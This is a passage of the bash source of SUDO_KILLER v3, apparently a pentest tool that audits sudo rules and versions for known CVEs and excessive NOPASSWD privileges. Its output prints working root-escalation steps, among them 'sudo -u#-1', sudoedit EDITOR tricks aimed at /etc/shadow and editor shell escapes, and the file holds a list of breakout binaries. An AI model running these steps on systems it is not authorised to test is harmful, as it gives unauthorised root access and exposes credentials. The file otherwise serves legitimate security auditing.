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SUDO_KILLERv3.sh
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SUDO_KILLERv3.sh
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#!/bin/bash
# This script was developed to check for common misconfigurations and vulnerabilities of the sudo
# V1: Date Created : 08/12/2018
# V2: Date Created : 11/02/2020
# V3: Date Created : 20/07/2023
# Date of last modification : 25/01/2024
# @TH3xACE - BLAIS David
version="version 3.0.1"
##### (Cosmetic) Colour output
RED="\033[01;31m" # Issues/Errors
GREEN="\033[01;32m" # Success
YELLOW="\033[01;33m" # Warnings/Information
BLUE="\033[01;34m" # Heading
BOLD="\033[01;01m" # Highlight
RESET="\033[00m" # Normal
##### help function
usage() {
##### echo -e " $version \n"
# printf " %s \n" "$version"
echo -e " Example: ./sudo_killer.sh -c -r report.txt -e /tmp/ \n"
echo "OPTIONS:"
echo "-c Includes CVEs related to sudo's version"
echo "-a Includes CVEs related to third party apps/devices"
echo "-i import (offline mode) from extract.sh"
echo "-e Include export of sudo rules / sudoers file"
echo "-r Enter report name"
echo "-p path where to save export and report"
echo "-s Supply user password for sudo checks (NOT SECURE)"
# echo "-t Include thorough (lengthy) tests"
echo "-h Displays this help text"
echo -e "\n"
echo "Running with no options = limited scans/no output file"
echo -e " ######################################################### "
}
#------------------------------------------------------
header() {
cat <<"EOF"
_____ _ _ _____ ____ _ _______ _ _ ______ _____
/ ____| | | | __ \ / __ \ | |/ /_ _| | | | | ____| __ \
| (___ | | | | | | | | | | | ' / | | | | | | | |__ | |__) |
\___ \| | | | | | | | | | | < | | | | | | | __| | _ /
____) | |__| | |__| | |__| | | . \ _| |_| |____| |____| |____| | \ \
|_____/ \____/|_____/ \____/ |_|\_\_____|______|______|______|_| \_\
EOF
echo -e "${BLUE} $version${RESET}\n"
# CANARY
}
#------------------------------------------------------
function versionToInt() {
# set -e
# local IFS=.
# local parts=($1)
# local val=$((1000000*parts[0]+1000*parts[1]+parts[2]))
# cnver=$val
local IFS=.
parts=($1)
let val=1000000*parts[0]+1000*parts[1]+parts[2]
cnver=$val
}
init() {
if [ -n "$import" ]; then
sudover=$(grep "Sudo version" "$import")
else
sudover=$(sudo -V 2>/dev/null | grep "Sudo version" 2>/dev/null)
fi
sudover1=$(echo "$sudover" | sed 's/Sudo version //g' | cut -d"p" -f 1)
if [ -n "$sudover1" ]; then
versionToInt "$sudover1"
fi
if [ -z "$cnver" ]; then
echo "Error: The tool has not been able to convert the sudo's version!"
fi
if [ -n "$path" ]; then
vpath="$path/sudo_killer-export-$(date +'%d-%m-%y')"
else
vpath="/tmp/sudo_killer-export-$(date +'%d-%m-%y')"
fi
# Create the directory
mkdir -p "$vpath"
} # init
#------------------------------------------------------
checksudoersize() {
file_path="/etc/sudoers"
# Check if the file exists
if [ -f "$file_path" ]; then
# Get the file size in bytes using ls and awk
file_size_bytes=$(ls -al "$file_path" | awk '{print $5}')
# Check if the file size is between 600 bytes and 770 bytes (inclusive)
if ((file_size_bytes >= 600 && file_size_bytes <= 770)); then
echo -e "${BOLD}${YELLOW}[+] Sudo's rules:${RESET} It seems there is no custom sudo's rules! (size) ${BOLD}${RED}[DEFAULT] ${RESET} \n"
#echo "The file size is between 600 bytes and 770 bytes."
else
#echo "The file size is not between 600 bytes and 770 bytes."
echo -e "${BOLD}${YELLOW}[+] Sudo's rules:${RESET} It seems that custom sudo's rules for the current user exists! (size) ${BOLD}${RED}[CUSTOM]${RESET} \n"
fi
else
echo "File not found: $file_path"
fi
}
checksudoerstimestamp() {
maccrdate=$(ls -al /etc/ssh/ | grep -iw "ssh_host_rsa_key.pub" | awk '{print $6,$7,$8}')
sudoerscrdate=$(ls -al /etc/sudoers | awk '{print $6,$7,$8}')
if ((maccrdate == sudoerscrdate)); then
echo -e "${BOLD}${YELLOW}[+] Sudo's rules:${RESET} It seems there is no custom sudo's rules! (timestamp) ${BOLD}${RED}[DEFAULT] ${RESET} \n"
else
echo -e "${BOLD}${YELLOW}[+] Sudo's rules:${RESET} It seems that custom sudo's rules for the current user exists! (timestamp) ${BOLD}${RED}[CUSTOM]${RESET} \n"
fi
}
checkcustomsecurepath()
{
sudosecpacth=$(echo "$cmd" 2>/dev/null | grep "secure_path=" | cut -d= -f 2 | sed 's/:/\n/g' | grep -v "bin")
if [ "$sudosecpacth" ]; then
echo -e "${BOLD}${YELLOW}[+] Custom Secure Path:${RESET} It seems that the secure path defined in sudoers includes custom path[s]! ${BOLD}${RED}[CUSTOM] ${RESET}"
echo -e "[*] secure_path: $sudosecpacth \n"
fi
}
intro() {
who=$(whoami 2>/dev/null)
where=$(hostname 2>/dev/null)
echo -e "${BLUE} @TH3xACE - BLAIS David"
echo -e "${BLUE} Contribute and collaborate on the KILLER project @ https://github.com/TH3xACE"
echo -e "${RED} Please consider giving a +1 star on GitHub to show your support! "
echo -e "\n"
echo -e "${RED} IMPORTANT! Always run the latest version [Current: $version]. Run 'git pull' or download the project again. ${RESET}"
echo -e "\n"
echo -e "${BOLD}${GREEN}[+] Intro ${RESET}"
echo -e "${BOLD}${YELLOW}Scan started at:${RESET} $(date)"
echo -e "\n"
echo -e "Current user: $who"
echo -e "Current host: $where"
echo -e "\n"
if [ "$import" ]; then
cmd=$(cat "$import" | grep -v "Sudo version")
elif [ "$sudopass" ]; then
echo -e "${RED} [+] Please enter the password of the current user: ${RESET}"
read -s -p "[+] Password: " userpassword
echo -e "\n*********"
cmdwp=$(echo "$userpassword" | sudo -S -l -k 2>/dev/null)
else
cmd=$(sudo -l -k)
if [ -z "$cmd" ]; then
echo -e "${BOLD}${RED}[**] It seems that sudo's rules cannot be accessed without a password."
echo -e "Try using the '-s' argument and provide the current user's password.${RESET}\n"
echo -e "${BOLD}${YELLOW}[+] This can occur when there is no rule with NOPASSWD or when root has explicitly configured sudo to ask for a password to list rules.${RESET}\n"
exit
fi
fi
if [ "$report" ]; then
echo -e "${BOLD}${YELLOW}[+] Report saved: ${RESET} $vpath/$report"
fi
if [ "$exports" ]; then
echo -e "${BOLD}${YELLOW}[+] Sudo rules exported: ${RESET} $vpath/sudo_export.txt"
fi
checksudoersize
checksudoerstimestamp
checkcustomsecurepath
echo -e "\n"
} # intro
#------------------------------------------------------
# Helper function to check sudo permissions
check_sudo_permissions() {
if [ -z "$sudoperms" ]; then
sudoperms=$(sudo -S -l -k 2>/dev/null)
fi
}
# Helper function to print sudo pwnage
print_sudo_pwnage() {
sudopwnage=$(echo "$sudoperms" | xargs -n 1 2>/dev/null | sed 's/,*$//g' 2>/dev/null | grep -w "$binarylist" 2>/dev/null)
if [ "$sudopwnage" ]; then
echo -e "${BOLD}${GREEN}[+] Possible sudo pwnage!${RESET}\n$sudopwnage"
echo -e "\n"
fi
}
# Helper function to print sudo users
print_sudo_users() {
sudo_user=$(getent group sudo | cut -d":" -f 4)
if [ "$sudo_user" ]; then
echo -e "${BOLD}${GREEN}[+] All users found in sudo group: ${RESET}\n$sudo_user"
echo -e "\n"
fi
}
checkinitial() {
#echo -e "${BOLD}${YELLOW}================== Initial check - Quick overview ========================= ${RESET} \n"
echo -e "${BOLD}${YELLOW}[1/21] ====== Initial check - Quick overview ====== ${RESET} \n"
# useful binaries (thanks to https://gtfobins.github.io/)
binarylist='cp\|nmap\|perl\|awk\|find\|bash\|sh\|man\|more\|less\|vi\|emacs\|vim\|nc\|netcat\|python\|ruby\|lua\|irb\|tar\|zip\|gdb\|pico\|scp\|git\|rvim\|script\|ash\|csh\|curl\|dash\|ed\|env\|expect\|ftp\|sftp\|node\|php\|rpm\|rpmquery\|socat\|strace\|taskset\|tclsh\|telnet\|tftp\|wget\|wish\|zsh\|ssh|grep\|csplit\|csvtool'
##### sudo version - check to see if there are any known vulnerabilities with this - CVE
if [ "$sudover" ]; then
echo -e "${BOLD}${GREEN}[+] Sudo version:${RESET}\n$sudover"
echo -e "\n"
fi
###check the timestamp
timestamp=$(sudo -l | grep -i timestamp_timeout | sed 's/,/\n/g' | grep -i timestamp_timeout | cut -d "=" -f 2)
echo -e "${BOLD}${GREEN}[+] Timestamp:${RESET}"
echo -e "Timestamp is the amount of time in minutes between instances of sudo before it will re-prompt for a password."
echo -e "${timestamp:-5} mins"
echo -e "\n"
# Check if sudo is possible without supplying a password
check_sudo_permissions
#sudoperms=$(sudo -S -l -k 2>/dev/null)
if [ "$sudoperms" ]; then
echo -e "${BOLD}${GREEN}[+] SUDO possible without a password!${RESET}\n\n$sudoperms"
echo -e "\n"
fi
# Check if sudo is possible with a password supplied
if [ "$sudopass" ]; then
if [ -z "$sudoperms" ]; then
sudoauth=$(sudo -S -l -k 2>/dev/null)
if [ "$sudoauth" ]; then
echo -e "${BOLD}${GREEN}[+] SUDO possible with a password supplied!${RESET}\n\n$sudoauth"
echo -e "\n"
fi
fi
fi
# Known 'good' breakout binaries (cleaned to parse /etc/sudoers for comma-separated values) - authenticated
print_sudo_pwnage
# sudopwnage=$(echo "$sudoperms" | xargs -n 1 2>/dev/null | sed 's/,*$//g' 2>/dev/null | grep -w "$binarylist" 2>/dev/null)
# if [ "$sudopwnage" ]; then
# echo -e "${BOLD}${GREEN}[+] Possible sudo pwnage!${RESET}\n$sudopwnage"
# echo -e "\n"
# fi
# Who has sudoed in the past
whohasbeensudo=$(find /home -name .sudo_as_admin_successful 2>/dev/null)
if [ "$whohasbeensudo" ]; then
echo -e "[-] Accounts that have recently used sudo:\n$whohasbeensudo"
echo -e "\n"
fi
# Sudo users
print_sudo_users
# sudo_user=$(getent group sudo | cut -d":" -f 4)
# if [ "$sudo_user" ]; then
# echo -e "${BOLD}${GREEN}[+] All users found in sudo group: ${RESET}\n$sudo_user"
# echo -e "\n"
# fi
# # Check if SELinux is enabled
# sestatus=`sestatus 2>/dev/null`
# if [ "$sestatus" ]; then
# echo -e "[-] SELinux seems to be present: $sestatus, can execute /CVE/CVE-2017-1000367-2.c if vulnerable (Check CVEs)."
# echo -e "\n"
# fi
# Exporting sudo rules
if [ "$exports" ]; then
echo "$cmd" >"$vpath/sudo_export.txt" 2>/dev/null
echo -e "${BOLD}${GREEN}[+] Sudo rules exported!${RESET} \n$vpath/sudo_export.txt "
echo -e "\n"
local cmddt=$(sudo -ll)
echo "$cmddt" >"$vpath/sudo_export_list.txt" 2>/dev/null
echo -e "${BOLD}${GREEN}[+] Detailed Sudo rules exported!${RESET} \n$vpath/sudo_export_list.txt "
echo -e "\n"
fi
# pull out vital sudoers info
# sudoers=$(grep -v -e '^$' /etc/sudoers 2>/dev/null | grep -v "#" 2>/dev/null)
# # Export sudoers file to export location
# if [ "$exports" ] && [ "$sudoers" ]; then
# echo -e "${BOLD}${GREEN}[+] Sudoers configuration exported:${RESET}\n$sudoers"
# echo -e "\n"
# echo "$sudoers" > "$vpath/sudoers_export.txt" 2>/dev/null
# fi
if [ -r "/etc/sudoers" ]; then
echo -e "${BOLD}${RED}[+] The file /etc/sudoers is readable by current user.${RESET}"
#export sudoers file to export location
if [ "$exports" ] && [ "$sudoers" ]; then
cp /etc/sudoers $vpath/sudoers_export.txt 2>/dev/null
else
:
fi
fi
} # checkinitial
#------------------------------------------------------
# Function to print vulnerability information
check_cve_version() {
echo -e "${BOLD}${GREEN}[+] Sudo version is vulnerable to the following CVEs:${RESET}"
echo -e "${BOLD}${GREEN}[+] Despite the version being vulnerable to a CVE or several,${RESET}"
echo -e "${BOLD}${GREEN}[+] some requirements might be needed for exploitation.\n${RESET}"
sver_tmp=$(sudo -V 2>/dev/null | grep "Sudo version" 2>/dev/null | cut -d" " -f 3 2>/dev/null)
version=$(echo $sver_tmp | tr -d ' ' | sed 's/P/p/g')
# Display CVEs vulnerable based on version
cat $PWD/CVE/cve.sudover.vuln.txt | grep "$version" | cut -d"+" -f 1,2 | awk '{print $0,"\n"}'
cve_vuln=$(cat $PWD/CVE/cve.sudover.vuln.txt | grep "$version" | cut -d"+" -f 1)
if [ "$cve_vuln" ]; then
echo -e "\n[+] Please find the following exploit(s) for some of the detected CVEs\n"
while read -r line; do
cvepath=$(ls -al $PWD/CVE/ | grep "$line" | tr -s " " | cut -d " " -f 9)
if [ "$cvepath" ]; then
echo -e " [*] $PWD/CVE/${BOLD}${RED}$cvepath${RESET} \n"
fi
done <<<"$cve_vuln"
fi
}
# function check_and_print_cve() {
# local cve_cond="$1"
# local cve_number="$2"
# local sudo_intversion="$3"
# local sudo_version="$3"
# local description="$4"
# local exploit_file="$5"
# if [ "$cnver" -lt "$sudo_intversion" ]; then
# cve_vulnerable=$(eval "echo \"\$cmd\" 2>/dev/null | $cve_cond")
# #echo -e "$cve_cond"
# if [ "$cve_vulnerable" ]; then
# echo -e "${BOLD}${GREEN}[+] Checking for the vulnerability $cve_number: ${RESET}"
# echo -e "${BOLD}${RED}[-] Vulnerable to $cve_number${RESET}"
# echo -e "[-] Current Sudo version: $sudover | Vulnerable version: <=$sudo_version"
# echo -e "[-] Description: $description"
# echo -e "[-] Exploit: /CVE/$exploit_file"
# echo -e "\n"
# fi
# fi
# }
checkcve() {
# Check for sudo version vulnerability based on CVEs
if [ "$sudocve" ]; then
echo -e "${BOLD}${YELLOW}[2/21] ====== Checking for disclosed vulnerabilities (CVEs) - version based ====== ${RESET} \n"
check_cve_version
echo -e "${BOLD}${BLUE}[@] Check [2/21] Completed!${RESET} \n"
# ---------------------------------------------
echo -e "${BOLD}${YELLOW}[3/21] ====== Checking for disclosed vulnerabilities (CVE) ====== ${RESET} \n"
echo -e "${BOLD}${GREEN}[+] The prerequisites for the below CVEs have been checked (not all CVEs checked - refer to readme):${RESET}"
echo -e "${BOLD}${RED}[+] Highly probable that sudo is VULNERABLE to the below CVEs:${RESET} \n"
# Check for specific CVE vulnerabilities as well as their requirements
##### CVE-2015-5602
##### The bug was found in sudoedit, which does not check the full path if a wildcard is used twice (e.g. /home/*/*/esc.txt),
##### this allows a malicious user to replace the esc.txt real file with a symbolic link to a different location (e.g. /etc/shadow).
# check_and_print_cve 'grep "(root) NOPASSWD: sudoedit" | grep -F $"/*/*/"' "CVE-2015-5602" 1008015 "The bug was found in sudoedit, which does not check the full path if a wildcard is used twice." "CVE-2015-5602.sh"
if [ "$cnver" -lt "1008015" ]; then
sudodblwildcard=$(echo "$cmd" 2>/dev/null | grep "(root) NOPASSWD: sudoedit" | grep -F $"/*/*/")
if [ "$sudodblwildcard" ]; then
echo -e "${BOLD}${RED}[-] Vulnerable to CVE-2015-5602${RESET}"
echo -e "${BOLD}${GREEN}[+] Sudoedit with double wildcard was detected. The bug was found in sudoedit, which does not check the full path if a wildcard is used twice. (CVE-2015-5602): ${RESET}"
echo -e "$sudodblwildcard"
echo -e "[-] current $sudover | vuln version: <=1.8.14"
echo -e "[*] Exploit: /CVE/CVE-2015-5602.sh"
echo -e "\n"
# echo -e "[-] run the command: sudo ./CVE-2015-5602.sh then su [RANDOM PASSWORD GENERATED]\n"
fi
fi # check version
##### CVE-2019-14287
if [ "$cnver" -lt "1008027" ]; then
sudorunas=$(echo "$cmd" 2>/dev/null | grep "(ALL, \!root)")
if [ "$sudorunas" ]; then
cmdi=$(echo "$cmd" 2>/dev/null | grep "(ALL, \!root)" | sed 's/NOPASSWD//g' | sed 's/://g' | cut -d ")" -f 2)
echo -e "${BOLD}${RED}[-] Vulnerable to CVE-2019-14287${RESET}"
echo -e "${BOLD}${GREEN}[+] The vulnerability allows users with sudo permissions to execute arbitrary commands as root. (CVE-2019-14287): ${RESET}"
echo -e "[-] current $sudover | vuln version: <=1.8.27"
echo -e "[-] Example : sudo -u#-1 /usr/bin/id"
echo -e "[-] Run command : sudo -u#-1 <cmd>"
echo -e "[-] where <cmd> is one of the following:"
echo -e "$cmdi"
echo -e "[*] Exploit: /CVE/CVE-2019-14287.txt"
echo -e "\n"
fi
fi
##### CVE-2019-18634
if [ "$cnver" -lt "1008026" ] && [ "$cnver" -gt "1007001" ]; then
sudopwfeedback=$(echo "$cmd" 2>/dev/null | grep " pwfeedback")
if [ "$sudopwfeedback" ]; then
echo -e "${BOLD}${RED}[-] Vulnerable to CVE-2019-18634${RESET}"
echo -e "${BOLD}${GREEN}[+] The vulnerability is caused by a heap-based buffer overflow condition in the sudo command. (CVE-2019-18634): ${RESET}"
echo -e "[-] current $sudover | vuln version: 1.7.1 to 1.8.25p1 inclusive"
# echo -e "[-] Run command : perl -e 'print(("A" x 100 . "\x{00}") x 50)' | sudo -S id"
echo -e "[-] Run command : perl -e 'print((\"A\" x 100 . \"\\x{00}\") x 50)' | sudo -S id"
echo -e "[-] if you have a segmentation fault then sudo is vulnerable"
echo -e "[*] Notes: /exploits/pwfeedback.txt"
echo -e "[*] Exploit: /CVE/CVE-2019-16634-pwfeedback/CVE-2019-18634.sh"
echo -e "\n"
fi
fi
#### CVE-2021-23240
sudoedit_selinux=$(cat $PWD/CVE/cve.sudover.vuln.txt | grep "$(echo $sver)" | grep "CVE-2021-23240" | cut -d"+" -f 1)
if [ "$sudoedit_selinux" ]; then
#check_psymlinks=$(cat /proc/sys/fs/protected_symlinks | grep 0)
#if [ "$check_psymlinks" ]; then
echo -e "${BOLD}${RED}[-] Vulnerable to CVE-2021-23240${RESET}"
echo -e "${BOLD}${GREEN}[+] The vulnerability is caused by a heap-based buffer overflow condition in the sudo command. (CVE-2021-23240): ${RESET}"
echo -e "[-] The version of sudo is vulnerable and symlinks is not protected (set to 0)"
echo -e "[-] Provided that SELinux is in permissive (not enforcing or disables) mode (Refer to the file /etc/selinux/) "
echo "or the invoking user is in an unconfined domain, then only all requirements will be met for exploitation."
echo "Permissive mode: SELinux prints warnings instead of enforcing."
echo -e "[*] M1 : Run command: sudoedit /path then :e /etc/sudoers or :e /etc/shadow"
echo -e "[*] M2 : Run command: S1 -> sudoedit /path then :call libcallnr("libc.so.6","setuid",0)"
echo -e " S2 -> then run ::!bash"
echo -e "[*] M3 : Notes: /CVE/CVE-2021-23240.txt"
echo -e "\n"
#fi
fi
#### CVE-2021-3156
sudoescapevschk=$(cat $PWD/CVE/cve.sudover.vuln.txt | grep "$(echo $sver)" | grep "CVE-2021-3156" | cut -d"+" -f 1)
if [ "$sudoescapevschk" ]; then
sudounescapeof=$(echo "$cmd" 2>/dev/null | grep -w "root) NOPASSWD:\|ALL) NOPASSWD:" | grep "sudoedit /")
if [ "$sudounescapeof" ]; then
sudo_escape1=$(sudoedit -s / 2>&1)
sudo_escape=$(echo "$sudo_escape1" | grep -w "sudoedit: /: not a regular file")
#sudo_escape=$("sudoedit -s /")
if [ "$sudo_escape" ]; then
echo -e "${BOLD}${RED}[-] Vulnerable to CVE-2021-3156${RESET}"
echo -e "${BOLD}${GREEN}[+] The vulnerability is caused by a heap-based buffer overflow vulnerability in sudo, allowing attackers to gain root-level privileges on Unix-like systems. (CVE-2021-3156): ${RESET}"
echo -e "[-] current $sudover | vuln version: 1.7.7-1.7.10p9, 1.8.2-1.8.31p2, and 1.9.0-1.9.5p1"
#echo -e "[*] Run command: sudoedit -s / - If output starts with { sudoedit: } vulnerable else { usage: } not vulnerable "
#echo -e "Example of output: { sudoedit: /: not a regular file } means it is Vulnerable to CVE-2021-3156"
echo -e "[*] Notes: CVE/CVE-2021-3156.txt"
echo -e "[*] Exploit: refer to CVE/CVE-2021-3156/, several exploits are provided and be aware then some of them can pose some risks"
echo -e " to be run on production environment and most of them are version specific... read the readme/note."
echo -e "\n"
fi
fi
fi
### CVE-2023-22809
sudoeditrockchk=$(cat $PWD/CVE/cve.sudover.vuln.txt | grep "$(echo $sver)" | grep "CVE-2023-22809" | cut -d"+" -f 1)
if [ "$sudoeditrockchk" ]; then
#sudoeditrock=$(echo "$cmd" 2>/dev/null | grep -i "(root) NOPASSWD: sudoedit /")
#sudoeditrock=$(echo "$cmd" 2>/dev/null | grep -i "(root) NOPASSWD: sudoedit /" | sed -e "s/(root) NOPASSWD: /EDITOR='vi -- \/etc\/shadow' /g" )
sudoeditrock=$(echo "$cmd" 2>/dev/null | grep -i "(root) NOPASSWD: sudoedit /\|(ALL : ALL) NOPASSWD: sudoedit\|(ALL) NOPASSWD: sudoedit" | sed -e "s/(root) NOPASSWD: /EDITOR='vi -- \/etc\/shadow' /g" | sed -e "s/(ALL : ALL) NOPASSWD: /EDITOR='vi -- \/etc\/shadow' /g" | sed -e "s/(ALL) NOPASSWD: /EDITOR='vi -- \/etc\/shadow' /g")
if [ "$sudoeditrock" ]; then
#sudo_escape=$(sudoedit -s / | grep "sudoedit:")
#sudo_escape=$("sudoedit -s /")
#if [ "$sudo_escape" ]; then
echo -e "${BOLD}${RED}[-] Vulnerable to CVE-2023-22809${RESET}"
echo -e "${BOLD}${GREEN}[+] The vulnerability allows users to run arbitrary commands by abusing sudoedit as root without authentication. (CVE-2023-22809):${RESET}"
echo -e "[-] current $sudover | vuln version: 1.8.0 to 1.9.12p1 inclusive"
echo -e "[*] Run one of the command (No Password Required): "
echo -e "$sudoeditrock"
echo -e "[+] Tested editor: vi and vim, the file is /etc/shadow here but can be any file"
echo -e "[+] The variable EDITOR is used as default but can be also SUDO_EDITOR or VISUAL"
echo -e "[*] Notes: /CVE/CVE-2023-22809.txt"
#echo -e "[*] Exploit: "
echo -e "\n"
#fi
fi
sudoeditrocknp=$(echo "$cmd" 2>/dev/null | grep -i "(root) sudoedit /\|(ALL : ALL) sudoedit\|(ALL) sudoedit" | sed -e "s/(root) /EDITOR='vi -- \/etc\/shadow' /g" | sed -e "s/(ALL : ALL) /EDITOR='vi -- \/etc\/shadow' /g" | sed -e "s/(ALL) /EDITOR='vi -- \/etc\/shadow' /g")
if [ "$sudoeditrocknp" ]; then
echo -e "${BOLD}${RED}[-] Vulnerable to CVE-2023-22809${RESET}"
echo -e "${BOLD}${GREEN}[-] The vulnerability allows users to run arbitrary commands by abusing sudoedit as root ${BLUE}with user authentication (password needed) ${RESET}. (CVE-2023-22809):${RESET}"
echo -e "[-] current $sudover | vuln version: 1.8.0 to 1.9.12p1 inclusive"
echo -e "[*] Run one of the command ${BLUE}(User's password required)${RESET}: "
echo -e "$sudoeditrocknp"
echo -e "[+] Tested editor: vi and vim, the file is /etc/shadow here but can be any file"
echo -e "[+] The variable EDITOR is used as default but can be also SUDO_EDITOR or VISUAL"
echo -e "[*] Notes: /CVE/CVE-2023-22809.txt"
#echo -e "[*] Exploit: "
echo -e "\n"
fi
##### Check for absolute path to sudoedit
if [ "$cnver" -lt "1008030" ]; then
sudoeditpathcmd=$(echo "$cmd" 2>/dev/null | grep -E "(/bin/|/usr/bin/|/usr/local/bin/)sudoedit" | cut -d " " -f 8)
sudoeditpath=$(echo "$cmd" 2>/dev/null | grep -Eo "(/bin/|/usr/bin/|/usr/local/bin/)sudoedit")
if [ "$sudoeditpath" ]; then
echo -e "${BOLD}${RED}[-] Vulnerable to sudoedit absolute path vuln${RESET}"
echo -e "${BOLD}${GREEN}[+] Absolute path to sudoedit was found in the sudoers file: ${RESET}"
echo -e "[-] Privilege escalation is possible if the sudo version is < 1.8.30"
echo -e "[*] Run the command sudo $sudoeditpath <file> to invoke a file editor as root"
echo -e "[*] where <file> is as below:"
echo -e "$sudoeditpathcmd"
echo -e "[-] Once you are in the editor, type the following command in command mode to get a shell"
echo -e "[-] Run command : :set shell=/bin/sh"
echo -e "[-] :shell"
echo -e "[*] Then use the appropriate exploit from res/absolute_path-sudoedit.txt for the editor you invoked \n"
fi
fi
fi
echo -e "${BOLD}${BLUE}[@] Check [3/21] Completed!${RESET} \n"
else
echo -e "${BOLD}${YELLOW}[2/21] ====== Checking for disclosed vulnerabilities (CVEs) - version based ====== ${RESET} \n"
echo -e "${BOLD}${RED}Checks related to CVEs were skipped. To include them use the flag -c ${RESET} \n"
echo -e "${BOLD}${YELLOW}[3/21] ====== Checking for disclosed vulnerabilities (CVE) ====== ${RESET} \n"
echo -e "${BOLD}${RED}Checks related to CVEs were skipped. To include them use the flag -c ${RESET} \n"
fi # cve flag check
} # checkcve
#------------------------------------------------------
fn_excess_priv() {
# echo -e "$cmd"
# Detects variants of the execessive sudo rule "ALL (ALL) NOPASSWD: ALL"
# Variant 1: user (ALL) NOPASSWD: ALL
# regex for /etc/sudoers | grep -E '^\S+\s+\(ALL\)\s+NOPASSWD:\s+ALL'
exprv1=$(echo "$cmd" 2>/dev/null | grep -E '\(ALL\)\s+NOPASSWD:\s+ALL')
if [ "$exprv1" ]; then
echo -e "${BOLD}${RED}[+] Excessive Privilege detected [Variant 1]${RESET}"
echo -e "[-] Variant 1: $who (ALL) NOPASSWD: ALL"
echo -e "[-] Identified rule: \n$exprv1"
echo -e "[-] Impersonate: ${BOLD}${BLUE}Any user [incl root]${RESET}"
echo -e "[-] Password required: ${BOLD}${BLUE}No${RESET}"
echo -e "[-] Command/bin: ${BOLD}${BLUE}Any${RESET}"
echo -e "[*] Notes: notes/execessive_priv.txt \n"
fi
# # Variant 3: user (root) NOPASSWD: ALL
# regex for /etc/sudoers | grep -E '^\S+\s+\(root\)\s+NOPASSWD:\s+ALL'
exprv3=$(echo "$cmd" 2>/dev/null | grep -E '\(root\)\s+NOPASSWD:\s+ALL')
if [ "$exprv3" ]; then
echo -e "${BOLD}${RED}[+] Excessive Privilege detected [Variant 3]${RESET}"
echo -e "[-] Variant 3: $who (root) NOPASSWD: ALL"
echo -e "[-] Identified rule: \n$exprv3"
echo -e "[-] Impersonate: ${BOLD}${BLUE}root${RESET}"
echo -e "[-] Password required: ${BOLD}${BLUE}No${RESET}"
echo -e "[-] Command/bin: ${BOLD}${BLUE}Any${RESET}"
echo -e "[*] Notes: notes/execessive_priv.txt \n"
fi
# # Variant 4/5: user (ALL) NOPASSWD: /usr/bin/command
# regex for /etc/sudoers | grep -E '^\S+\s+\(ALL\)\s+NOPASSWD:\s+/usr/bin/\w+'
exprv45=$(echo "$cmd" 2>/dev/null | grep -E '\(ALL\)\s+NOPASSWD:\s+/*bin*')
if [ "$exprv45" ]; then
echo -e "${BOLD}${RED}[+] Excessive Privilege detected [Variant 4/5]${RESET}"
echo -e "[-] Variant 4/5: $who (ALL) NOPASSWD: */s|bin/*"
echo -e "[-] Identified rule: \n$exprv45"
echo -e "[-] Impersonate: ${BOLD}${BLUE}Any user [incl root]${RESET}"
echo -e "[-] Password required: ${BOLD}${BLUE}No${RESET}"
echo -e "[-] Command/bin: ${BOLD}${BLUE}Listed one from identified rule${RESET}"
echo -e "[*] Notes: notes/execessive_priv.txt \n"
fi
# # # Variant 5: user (ALL) NOPASSWD: /bin/*
# regex for /etc/sudoers | grep -E '^\S+\s+\(ALL\)\s+NOPASSWD:\s+/bin/\*'
# exprv5=$(echo "$cmd" 2>/dev/null | grep -E '\(ALL\)\s+NOPASSWD:\s+ALL')
# if [ "$exprv5" ]; then
# echo -e "${BOLD}${RED}[+] Excessive Privilege detected [Variant 5]${RESET}"
# echo -e "[-] Variant 5: <user> (ALL) NOPASSWD: /bin/*"
# echo -e "[-] Identified rule: $exprv5"
# echo -e "[*] Notes: notes/execessive_priv.txt"
# fi
# # Variant 2: %group (ALL) NOPASSWD: ALL - (ALL : ALL) NOPASSWD: ALL
# # regex for /etc/sudoers | grep -E '^%\w+\s+\(ALL\)\s+NOPASSWD:\s+ALL'
exprv2=$(echo "$cmd" 2>/dev/null | grep -E '\(ALL \: ALL\)\s+NOPASSWD:\s+ALL')
if [ "$exprv2" ]; then
echo -e "${BOLD}${RED}[+] Excessive Privilege detected [Variant 2]${RESET}"
echo -e "[-] Variant 2: %group (ALL) NOPASSWD: ALL"
echo -e "[-] Identified rule: \n$exprv2"
echo -e "[-] Impersonate: ${BOLD}${BLUE}Any user [incl root] or group${RESET}"
echo -e "[-] Password required: ${BOLD}${BLUE}No${RESET}"
echo -e "[-] Command/bin: ${BOLD}${BLUE}Any${RESET}"
echo -e "[*] Notes: notes/execessive_priv.txt \n"
fi
# # Variant 6: %group (ALL) NOPASSWD: /sbin/reboot, /sbin/shutdown
# regex for /etc/sudoers | grep -E '^%\w+\s+\(ALL\)\s+NOPASSWD:\s+/*bin/\*'
exprv6=$(echo "$cmd" 2>/dev/null | grep -E '\(ALL \: ALL\)\s+NOPASSWD:\s+/*bin*')
if [ "$exprv6" ]; then
echo -e "${BOLD}${RED}[+] Excessive Privilege detected [Variant 6]${RESET}"
echo -e "[-] Variant 6: %group (ALL) NOPASSWD: */s|bin/*"
echo -e "[-] Identified rule: \n$exprv6"
echo -e "[-] Impersonate: ${BOLD}${BLUE}Any user [incl root] or group${RESET}"
echo -e "[-] Password required: ${BOLD}${BLUE}No${RESET}"
echo -e "[-] Command/bin: ${BOLD}${BLUE}Listed one from identified rule${RESET}"
echo -e "[*] Notes: notes/execessive_priv.txt \n"
fi
# # Variant 7: %group (ALL:ALL) NOPASSWD: ALL
# echo "Variant 7: %group (ALL:ALL) NOPASSWD: ALL"
# sudo -l | grep -E '^%\w+\s+\(ALL:\w+\)\s+NOPASSWD:\s+ALL'
# # Variant 8: user (root) NOPASSWD: */s|bin/*
# regex for /etc/sudoers | grep -E '^\S+\s+\(root\)\s+NOPASSWD:\s+ALL'
exprv8=$(echo "$cmd" 2>/dev/null | grep -E '\(root\)\s+NOPASSWD:\s+/*bin/')
if [ "$exprv8" ]; then
echo -e "${BOLD}${RED}[+] Excessive Privilege detected [Variant 8]${RESET}"
echo -e "[-] Variant 8: $who (root) NOPASSWD: */|bin/*"
echo -e "[-] Identified rule: \n$exprv8"
echo -e "[-] Impersonate: ${BOLD}${BLUE}root${RESET}"
echo -e "[-] Password required: ${BOLD}${BLUE}No${RESET}"
echo -e "[-] Command/bin: ${BOLD}${BLUE}Listed one from identified rule${RESET}"
echo -e "[*] Notes: notes/execessive_priv.txt \n"
fi
}
fn_excess_priv_pwd() {
# Variant 1: user (ALL) ALL
# regex for /etc/sudoers | grep -E '^\S+\s+\(ALL\)\s+ALL'
